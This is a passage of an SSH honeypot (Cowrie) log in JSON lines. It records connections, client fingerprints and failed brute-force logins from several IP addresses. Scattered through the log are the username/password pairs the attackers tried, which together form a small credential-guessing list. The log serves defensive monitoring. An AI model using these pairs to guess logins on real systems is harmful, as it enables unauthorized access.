0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:08.010159Z","src_ip":"5.196.136.131","session":"14da725cf645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:08.236600Z","src_ip":"5.196.136.131","session":"14da725cf645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:09.316329Z","src_ip":"5.196.136.131","session":"14da725cf645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":65452,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7324abd3318","protocol":"ssh","message":"New connection: 5.196.136.131:65452 (10.17.0.5:22) [session: d7324abd3318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:12.416416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:12.420957Z","src_ip":"5.196.136.131","session":"d7324abd3318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:12.501914Z","src_ip":"5.196.136.131","session":"d7324abd3318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":52418,"dst_ip":"159.203.135.109","dst_port":22,"session":"3343ce64830a","protocol":"ssh","message":"New connection: 99.252.20.159:52418 (159.203.135.109:22) [session: 3343ce64830a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:12.712332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:12.716054Z","src_ip":"99.252.20.159","session":"3343ce64830a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:12.738442Z","src_ip":"5.196.136.131","session":"d7324abd3318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:12.748346Z","src_ip":"99.252.20.159","session":"3343ce64830a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M@T1C#Tr0ng!P@ss","message":"login attempt [root/M@T1C#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:12.849697Z","src_ip":"99.252.20.159","session":"3343ce64830a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:13.817999Z","src_ip":"5.196.136.131","session":"d7324abd3318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:13.889278Z","src_ip":"99.252.20.159","session":"3343ce64830a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":55025,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd9f109c4b41","protocol":"ssh","message":"New connection: 5.196.136.131:55025 (10.17.0.5:22) [session: dd9f109c4b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:16.913085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:16.916705Z","src_ip":"5.196.136.131","session":"dd9f109c4b41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:16.995517Z","src_ip":"5.196.136.131","session":"dd9f109c4b41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:17.251506Z","src_ip":"5.196.136.131","session":"dd9f109c4b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:18.333066Z","src_ip":"5.196.136.131","session":"dd9f109c4b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":16713,"dst_ip":"10.17.0.5","dst_port":22,"session":"21e0a91b41a3","protocol":"ssh","message":"New connection: 5.196.136.131:16713 (10.17.0.5:22) [session: 21e0a91b41a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:21.393999Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":34292,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d271f13547c","protocol":"ssh","message":"New connection: 103.77.242.62:34292 (159.203.135.109:22) [session: 7d271f13547c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:21.398014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:21.400398Z","src_ip":"5.196.136.131","session":"21e0a91b41a3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:21.407062Z","src_ip":"103.77.242.62","session":"7d271f13547c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:21.478806Z","src_ip":"5.196.136.131","session":"21e0a91b41a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:21.645256Z","src_ip":"103.77.242.62","session":"7d271f13547c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:21.706441Z","src_ip":"5.196.136.131","session":"21e0a91b41a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"050991","message":"login attempt [root/050991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:22.360609Z","src_ip":"103.77.242.62","session":"7d271f13547c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:22.783957Z","src_ip":"5.196.136.131","session":"21e0a91b41a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:23.600400Z","src_ip":"103.77.242.62","session":"7d271f13547c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"133.117.72.24","src_port":37156,"dst_ip":"10.17.0.5","dst_port":22,"session":"d23155c4e677","protocol":"ssh","message":"New connection: 133.117.72.24:37156 (10.17.0.5:22) [session: d23155c4e677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:23.605297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:23.608305Z","src_ip":"133.117.72.24","session":"d23155c4e677","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:23.776336Z","src_ip":"133.117.72.24","session":"d23155c4e677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2023@#","message":"login attempt [root/unitedstates2023@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:24.278938Z","src_ip":"133.117.72.24","session":"d23155c4e677","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:25.448072Z","src_ip":"133.117.72.24","session":"d23155c4e677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":20036,"dst_ip":"10.17.0.5","dst_port":22,"session":"081ac0ea3e69","protocol":"ssh","message":"New connection: 5.196.136.131:20036 (10.17.0.5:22) [session: 081ac0ea3e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:25.832338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:25.836107Z","src_ip":"5.196.136.131","session":"081ac0ea3e69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:25.912915Z","src_ip":"5.196.136.131","session":"081ac0ea3e69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:26.143758Z","src_ip":"5.196.136.131","session":"081ac0ea3e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:27.223409Z","src_ip":"5.196.136.131","session":"081ac0ea3e69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":50031,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fa727805d5f","protocol":"ssh","message":"New connection: 5.196.136.131:50031 (10.17.0.5:22) [session: 1fa727805d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:30.140922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:30.143531Z","src_ip":"5.196.136.131","session":"1fa727805d5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:30.227878Z","src_ip":"5.196.136.131","session":"1fa727805d5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:30.474192Z","src_ip":"5.196.136.131","session":"1fa727805d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:31.558704Z","src_ip":"5.196.136.131","session":"1fa727805d5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":11315,"dst_ip":"10.17.0.5","dst_port":22,"session":"19f83d8dab26","protocol":"ssh","message":"New connection: 5.196.136.131:11315 (10.17.0.5:22) [session: 19f83d8dab26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:34.584836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:34.588757Z","src_ip":"5.196.136.131","session":"19f83d8dab26","protocol":"ssh"}
